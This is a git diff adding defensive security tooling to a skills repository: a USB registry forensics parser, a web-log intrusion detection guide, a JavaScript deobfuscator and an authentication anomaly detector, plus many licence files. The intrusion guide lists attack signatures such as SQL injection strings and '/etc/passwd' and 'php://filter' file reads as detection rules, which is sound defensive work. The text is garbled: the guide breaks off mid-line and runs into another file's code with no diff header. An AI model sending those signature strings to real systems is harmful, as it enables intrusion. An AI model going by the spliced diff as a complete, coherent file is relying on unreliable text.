if len(parts) > 3 else "Unknown" + for instance in device_class.iter_subkeys(): + serial = instance.name + device_info = { + "vendor": vendor, + "product": product, + "revision": revision, + "serial": serial, + "last_connected": str(instance.header.last_modified), + } + for val in instance.iter_values(): + if val.name == "FriendlyName": + device_info["friendly_name"] = val.value + devices.append(device_info) + return devices + + +def parse_mounted_devices(system_hive_path): + """Parse MountedDevices to map drive letters to USB devices.""" + import struct + reg = RegistryHive(system_hive_path) + mounted_key = reg.get_key("MountedDevices") + mappings = [] + for val in mounted_key.iter_values(): + if val.name.startswith("\\DosDevices\\"): + drive_letter = val.name.replace("\\DosDevices\\", "") + data = val.value + if isinstance(data, bytes) and len(data) > 24: + try: + device_path = data.decode("utf-16-le").strip("\x00") + if "USBSTOR" in device_path or "USB#" in device_path: + mappings.append({ + "drive_letter": drive_letter, + "device_path": device_path, + }) + except (UnicodeDecodeError, ValueError): + pass + return mappings + + +def parse_mountpoints2(ntuser_path): + """Parse MountPoints2 from NTUSER.DAT to find user-accessed volumes.""" + reg = RegistryHive(ntuser_path) + mp2_path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2" + mount_points = [] + try: + mp2_key = reg.get_key(mp2_path) + except Exception: + return mount_points + for subkey in mp2_key.iter_subkeys(): + if "{" in subkey.name: + mount_points.append({ + "volume_guid": subkey.name, + "last_accessed": str(subkey.header.last_modified), + }) + return mount_points + + +def parse_setupapi_log(log_path): + """Parse setupapi.dev.log for USB first-install timestamps.""" + import re + installs = [] + with open(log_path, "r", errors="ignore") as f: + content = f.read() + pattern = r">>>\s+\[Device Install.*?\n.*?Section start (\d{4}/\d{2}/\d{2} \d{2}:\d{2}:\d{2}).*?\n(.*?)<<<" + for match in re.finditer(pattern, content, re.DOTALL): + timestamp, section = match.group(1), match.group(2) + dev_match = re.search(r"(USBSTOR\\[^\s]+|USB\\VID_\w+&PID_\w+[^\s]*)", section) + if dev_match: + installs.append({ + "first_install": timestamp, + "device_id": dev_match.group(1), + }) + return installs + + +def build_timeline(devices, mappings, mount_points): + """Build a unified USB activity timeline.""" + timeline = [] + for dev in devices: + timeline.append({ + "timestamp": dev["last_connected"], + "source": "USBSTOR", + "device": f"{dev['vendor']} {dev['product']}", + "serial": dev["serial"], + "event": "Last Connected", + "detail": dev.get("friendly_name", ""), + }) + for mp in mount_points: + timeline.append({ + "timestamp": mp["last_accessed"], + "source": "MountPoints2", + "device": mp["volume_guid"], + "serial": "", + "event": "Volume Accessed", + "detail": "", + }) + timeline.sort(key=lambda x: x["timestamp"]) + return timeline + + +def export_timeline_csv(timeline, output_path): + """Export timeline to CSV.""" + if not timeline: + return + with open(output_path, "w", newline="") as f: + writer = csv.DictWriter(f, fieldnames=timeline[0].keys()) + writer.writeheader() + writer.writerows(timeline) + + +def main(): + parser = argparse.ArgumentParser(description="USB Device Connection History Agent") + parser.add_argument("--system-hive", required=True, help="Path to SYSTEM registry hive") + parser.add_argument("--ntuser", help="Path to NTUSER.DAT hive") + parser.add_argument("--setupapi-log", help="Path to setupapi.dev.log") + parser.add_argument("--output-dir", default="./usb_analysis") + parser.add_argument("--case-id", default="CASE-001") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + + devices = parse_usbstor(args.system_hive) + print(f"[+] USBSTOR devices: {len(devices)}") + for d in devices: + print(f" {d['vendor']} {d['product']} | Serial: {d['serial']}") + + mappings = parse_mounted_devices(args.system_hive) + print(f"[+] USB drive mappings: {len(mappings)}") + + mount_points = [] + if args.ntuser: + mount_points = parse_mountpoints2(args.ntuser) + print(f"[+] MountPoints2 entries: {len(mount_points)}") + + if args.setupapi_log: + installs = parse_setupapi_log(args.setupapi_log) + print(f"[+] SetupAPI installations: {len(installs)}") + + timeline = build_timeline(devices, mappings, mount_points) + csv_path = os.path.join(args.output_dir, "usb_timeline.csv") + export_timeline_csv(timeline, csv_path) + print(f"[+] Timeline exported to {csv_path} ({len(timeline)} events)") + + report = { + "case_id": args.case_id, + "total_devices": len(devices), + "devices": devices, + "drive_mappings": mappings, + "timeline_events": len(timeline), + } + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-web-server-logs-for-intrusion/LICENSE b/skills/analyzing-web-server-logs-for-intrusion/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-web-server-logs-for-intrusion/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-web-server-logs-for-intrusion/SKILL.md b/skills/analyzing-web-server-logs-for-intrusion/SKILL.md new file mode 100644 index 00000000..d93f3ad1 --- /dev/null +++ b/skills/analyzing-web-server-logs-for-intrusion/SKILL.md @@ -0,0 +1,37 @@ +--- +name: analyzing-web-server-logs-for-intrusion +description: >- + Parse Apache and Nginx access logs to detect SQL injection attempts, local file inclusion, + directory traversal, web scanner fingerprints, and brute-force patterns. Uses regex-based + pattern matching against OWASP attack signatures, GeoIP enrichment for source attribution, + and statistical anomaly detection for request frequency and response size outliers. +--- + +## Instructions + +1. Install dependencies: `pip install geoip2 user-agents` +2. Collect web server access logs in Combined Log Format (Apache) or Nginx default format. +3. Parse each log entry extracting: IP, timestamp, method, URI, status code, response size, user-agent, referer. +4. Apply detection rules: + - SQL injection: `UNION SELECT`, `OR 1=1`, `' OR '`, hex encoding patterns + - LFI/Path traversal: `../`, `/etc/passwd`, `/proc/self`, `php://filter` + - XSS: `', re.DOTALL | re.IGNORECASE) + scripts = pattern.findall(html_content) + return [s.strip() for s in scripts if s.strip()] + + +def analyze_file(file_path): + """Full analysis pipeline for a JavaScript or HTML file.""" + path = Path(file_path) + if not path.exists(): + return {"error": f"File not found: {file_path}"} + + content = path.read_text(encoding="utf-8", errors="replace") + + if path.suffix.lower() in (".html", ".htm"): + scripts = extract_scripts_from_html(content) + else: + scripts = [content] + + results = [] + for i, script in enumerate(scripts): + techniques = detect_obfuscation_techniques(script) + deobfuscated = deobfuscate(script) + iocs = extract_iocs(deobfuscated) + results.append({ + "script_index": i, + "original_size": len(script), + "deobfuscated_size": len(deobfuscated), + "obfuscation_techniques": techniques, + "iocs": iocs, + "deobfuscated_preview": deobfuscated[:2000], + }) + + return { + "file": file_path, + "script_count": len(scripts), + "analyses": results, + } + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: agent.py [--full]") + sys.exit(1) + + result = analyze_file(sys.argv[1]) + if "--full" in sys.argv: + print(json.dumps(result, indent=2, default=str)) + else: + for analysis in result.get("analyses", []): + analysis.pop("deobfuscated_preview", None) + print(json.dumps(result, indent=2, default=str)) diff --git a/skills/deobfuscating-powershell-obfuscated-malware/LICENSE b/skills/deobfuscating-powershell-obfuscated-malware/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/deobfuscating-powershell-obfuscated-malware/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/deploying-cloudflare-access-for-zero-trust/LICENSE b/skills/deploying-cloudflare-access-for-zero-trust/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/deploying-cloudflare-access-for-zero-trust/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/deploying-edr-agent-with-crowdstrike/LICENSE b/skills/deploying-edr-agent-with-crowdstrike/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/deploying-edr-agent-with-crowdstrike/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/deploying-osquery-for-endpoint-monitoring/LICENSE b/skills/deploying-osquery-for-endpoint-monitoring/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/deploying-osquery-for-endpoint-monitoring/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/deploying-palo-alto-prisma-access-zero-trust/LICENSE b/skills/deploying-palo-alto-prisma-access-zero-trust/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/deploying-palo-alto-prisma-access-zero-trust/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/deploying-software-defined-perimeter/LICENSE b/skills/deploying-software-defined-perimeter/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/deploying-software-defined-perimeter/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/LICENSE b/skills/deploying-tailscale-for-zero-trust-vpn/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/deploying-tailscale-for-zero-trust-vpn/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-anomalies-in-industrial-control-systems/LICENSE b/skills/detecting-anomalies-in-industrial-control-systems/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-anomalies-in-industrial-control-systems/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-anomalous-authentication-patterns/LICENSE b/skills/detecting-anomalous-authentication-patterns/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-anomalous-authentication-patterns/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-anomalous-authentication-patterns/references/api-reference.md b/skills/detecting-anomalous-authentication-patterns/references/api-reference.md new file mode 100644 index 00000000..7460fde2 --- /dev/null +++ b/skills/detecting-anomalous-authentication-patterns/references/api-reference.md @@ -0,0 +1,82 @@ +# Authentication Anomaly Detection API Reference + +## Azure AD Sign-In Logs (Microsoft Graph) + +```bash +# Query sign-in logs +GET https://graph.microsoft.com/v1.0/auditLogs/signIns?$filter=createdDateTime ge 2024-01-01 +Authorization: Bearer + +# Risky sign-ins +GET https://graph.microsoft.com/v1.0/identityProtection/riskyUsers +``` + +## Okta System Log API + +```bash +# Query authentication events +curl "https://your-org.okta.com/api/v1/logs?filter=eventType+eq+%22user.session.start%22&since=2024-01-01" \ + -H "Authorization: SSWS " + +# Filter failed logins +curl "https://your-org.okta.com/api/v1/logs?filter=outcome.result+eq+%22FAILURE%22" \ + -H "Authorization: SSWS " +``` + +## Windows Event IDs for Auth Monitoring + +| Event ID | Description | +|----------|-------------| +| 4624 | Successful logon | +| 4625 | Failed logon | +| 4648 | Logon with explicit credentials | +| 4672 | Special privileges assigned | +| 4768 | Kerberos TGT request | +| 4769 | Kerberos service ticket request | +| 4771 | Kerberos pre-auth failed | +| 4776 | NTLM credential validation | + +## Splunk SPL Detection Queries + +```spl +# Brute force detection +index=auth result="failure" +| bin _time span=10m +| stats count by user src_ip _time +| where count >= 10 + +# Password spray detection +index=auth result="failure" +| bin _time span=30m +| stats dc(user) as targets count by src_ip _time +| where targets >= 10 + +# Impossible travel +index=auth result="success" +| iplocation src_ip +| sort user _time +| streamstats last(lat) as prev_lat last(lon) as prev_lon last(_time) as prev_time by user +| eval dist=6371*2*asin(sqrt(pow(sin((lat-prev_lat)*pi()/360),2)+cos(prev_lat*pi()/180)*cos(lat*pi()/180)*pow(sin((lon-prev_lon)*pi()/360),2))) +| eval speed=dist/((_time-prev_time)/3600) +| where speed > 900 AND dist > 100 +``` + +## GeoIP with MaxMind (Python) + +```python +import geoip2.database +reader = geoip2.database.Reader('/opt/geoip/GeoLite2-City.mmdb') +response = reader.city('203.0.113.50') +print(response.city.name, response.location.latitude, response.location.longitude) +reader.close() +``` + +## Isolation Forest (scikit-learn) + +```python +from sklearn.ensemble import IsolationForest +model = IsolationForest(n_estimators=200, contamination=0.01, random_state=42) +model.fit(X) +predictions = model.predict(X) # -1 = anomaly, 1 = normal +scores = model.score_samples(X) # lower = more anomalous +``` diff --git a/skills/detecting-anomalous-authentication-patterns/scripts/agent.py b/skills/detecting-anomalous-authentication-patterns/scripts/agent.py new file mode 100644 index 00000000..7e74b31e --- /dev/null +++ b/skills/detecting-anomalous-authentication-patterns/scripts/agent.py @@ -0,0 +1,252 @@ +#!/usr/bin/env python3 +"""Authentication anomaly detection agent using UEBA analytics.""" + +import json +import sys +import csv +from datetime import datetime, timedelta +from math import radians, sin, cos, sqrt, atan2 +from collections import Counter +from pathlib import Path + + +def haversine_km(lat1, lon1, lat2, lon2): + """Calculate great-circle distance between two coordinates in km.""" + R = 6371 + lat1, lon1, lat2, lon2 = map(radians, [lat1, lon1, lat2, lon2]) + dlat = lat2 - lat1 + dlon = lon2 - lon1 + a = sin(dlat / 2) ** 2 + cos(lat1) * cos(lat2) * sin(dlon / 2) ** 2 + return R * 2 * atan2(sqrt(a), sqrt(1 - a)) + + +def load_auth_logs(csv_path): + """Load authentication logs from CSV with columns: + timestamp,user,source_ip,result,lat,lon,city,country,app,device + """ + events = [] + with open(csv_path, "r") as f: + reader = csv.DictReader(f) + for row in reader: + row["lat"] = float(row["lat"]) if row.get("lat") else None + row["lon"] = float(row["lon"]) if row.get("lon") else None + events.append(row) + return events + + +def detect_impossible_travel(events, max_speed_kmh=900): + """Detect logins from locations requiring travel speed above threshold.""" + alerts = [] + by_user = {} + for e in events: + user = e.get("user", "") + if user not in by_user: + by_user[user] = [] + by_user[user].append(e) + + for user, user_events in by_user.items(): + successful = [e for e in user_events if e.get("result") == "success"] + successful.sort(key=lambda x: x.get("timestamp", "")) + + for i in range(1, len(successful)): + prev = successful[i - 1] + curr = successful[i] + if not prev.get("lat") or not curr.get("lat"): + continue + if prev["lat"] is None or curr["lat"] is None: + continue + + dist = haversine_km(prev["lat"], prev["lon"], curr["lat"], curr["lon"]) + try: + t1 = datetime.fromisoformat(prev["timestamp"].replace("Z", "+00:00")) + t2 = datetime.fromisoformat(curr["timestamp"].replace("Z", "+00:00")) + hours = (t2 - t1).total_seconds() / 3600 + except Exception: + continue + + if hours <= 0 or dist < 100: + continue + speed = dist / hours + if speed > max_speed_kmh: + alerts.append({ + "type": "IMPOSSIBLE_TRAVEL", + "severity": "HIGH", + "user": user, + "from": f"{prev.get('city', '?')}, {prev.get('country', '?')}", + "to": f"{curr.get('city', '?')}, {curr.get('country', '?')}", + "distance_km": round(dist, 1), + "time_hours": round(hours, 2), + "speed_kmh": round(speed, 1), + "ip_from": prev.get("source_ip"), + "ip_to": curr.get("source_ip"), + }) + return alerts + + +def detect_brute_force(events, threshold=10, window_min=10): + """Detect brute force: many failures for same user in time window.""" + alerts = [] + by_user = {} + for e in events: + if e.get("result") == "failure": + user = e.get("user", "") + if user not in by_user: + by_user[user] = [] + by_user[user].append(e) + + for user, fails in by_user.items(): + fails.sort(key=lambda x: x.get("timestamp", "")) + for i, event in enumerate(fails): + try: + t_start = datetime.fromisoformat(event["timestamp"].replace("Z", "+00:00")) + t_end = t_start + timedelta(minutes=window_min) + except Exception: + continue + window = [ + f for f in fails + if t_start <= datetime.fromisoformat(f["timestamp"].replace("Z", "+00:00")) <= t_end + ] + if len(window) >= threshold: + ips = list(set(w.get("source_ip", "") for w in window)) + alerts.append({ + "type": "BRUTE_FORCE", + "severity": "HIGH", + "user": user, + "failures": len(window), + "window_minutes": window_min, + "source_ips": ips, + "distributed": len(ips) > 1, + }) + break + return alerts + + +def detect_password_spray(events, user_threshold=10, window_min=30): + """Detect password spray: many users targeted from same IP.""" + alerts = [] + by_ip = {} + for e in events: + if e.get("result") == "failure": + ip = e.get("source_ip", "") + if ip not in by_ip: + by_ip[ip] = [] + by_ip[ip].append(e) + + for ip, fails in by_ip.items(): + fails.sort(key=lambda x: x.get("timestamp", "")) + for event in fails: + try: + t_start = datetime.fromisoformat(event["timestamp"].replace("Z", "+00:00")) + t_end = t_start + timedelta(minutes=window_min) + except Exception: + continue + window = [ + f for f in fails + if t_start <= datetime.fromisoformat(f["timestamp"].replace("Z", "+00:00")) <= t_end + ] + users = set(w.get("user", "") for w in window) + if len(users) >= user_threshold: + avg_per_user = len(window) / len(users) + if avg_per_user <= 3: + alerts.append({ + "type": "PASSWORD_SPRAY", + "severity": "CRITICAL", + "source_ip": ip, + "targeted_users": len(users), + "total_attempts": len(window), + "avg_per_user": round(avg_per_user, 1), + }) + break + return alerts + + +def build_user_baseline(events, user): + """Build behavioral baseline for a user from historical events.""" + user_events = [e for e in events if e.get("user") == user] + if not user_events: + return {"error": f"No events for user {user}"} + + hours = [] + ips = Counter() + countries = Counter() + apps = Counter() + devices = Counter() + + for e in user_events: + try: + ts = datetime.fromisoformat(e["timestamp"].replace("Z", "+00:00")) + hours.append(ts.hour) + except Exception: + pass + ips[e.get("source_ip", "")] += 1 + countries[e.get("country", "")] += 1 + apps[e.get("app", "")] += 1 + devices[e.get("device", "")] += 1 + + return { + "user": user, + "event_count": len(user_events), + "typical_hours": sorted(set(hours)), + "top_ips": ips.most_common(10), + "top_countries": countries.most_common(5), + "top_apps": apps.most_common(10), + "top_devices": devices.most_common(5), + "failure_rate": round( + sum(1 for e in user_events if e.get("result") == "failure") / len(user_events), 3 + ), + } + + +def calculate_risk_score(alerts): + """Calculate composite risk score from detected anomalies.""" + weights = { + "IMPOSSIBLE_TRAVEL": 40, + "PASSWORD_SPRAY": 35, + "BRUTE_FORCE": 30, + "NEW_COUNTRY": 25, + "OFF_HOURS": 15, + } + score = sum(weights.get(a.get("type", ""), 10) for a in alerts) + score = min(100, score) + if score >= 80: + level = "CRITICAL" + elif score >= 60: + level = "HIGH" + elif score >= 40: + level = "MEDIUM" + else: + level = "LOW" + return {"score": score, "level": level, "alert_count": len(alerts)} + + +def run_full_analysis(csv_path): + """Run all detection modules on an auth log CSV file.""" + events = load_auth_logs(csv_path) + travel = detect_impossible_travel(events) + brute = detect_brute_force(events) + spray = detect_password_spray(events) + all_alerts = travel + brute + spray + return { + "file": csv_path, + "total_events": len(events), + "impossible_travel": travel, + "brute_force": brute, + "password_spray": spray, + "risk": calculate_risk_score(all_alerts), + } + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: agent.py [--user ]") + sys.exit(1) + + csv_file = sys.argv[1] + if "--user" in sys.argv: + idx = sys.argv.index("--user") + user = sys.argv[idx + 1] if idx + 1 < len(sys.argv) else None + if user: + events = load_auth_logs(csv_file) + print(json.dumps(build_user_baseline(events, user), indent=2, default=str)) + else: + print(json.dumps(run_full_analysis(csv_file), indent=2, default=str)) diff --git a/skills/detecting-api-enumeration-attacks/LICENSE b/skills/detecting-api-enumeration-attacks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-api-enumeration-attacks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-arp-poisoning-in-network-traffic/LICENSE 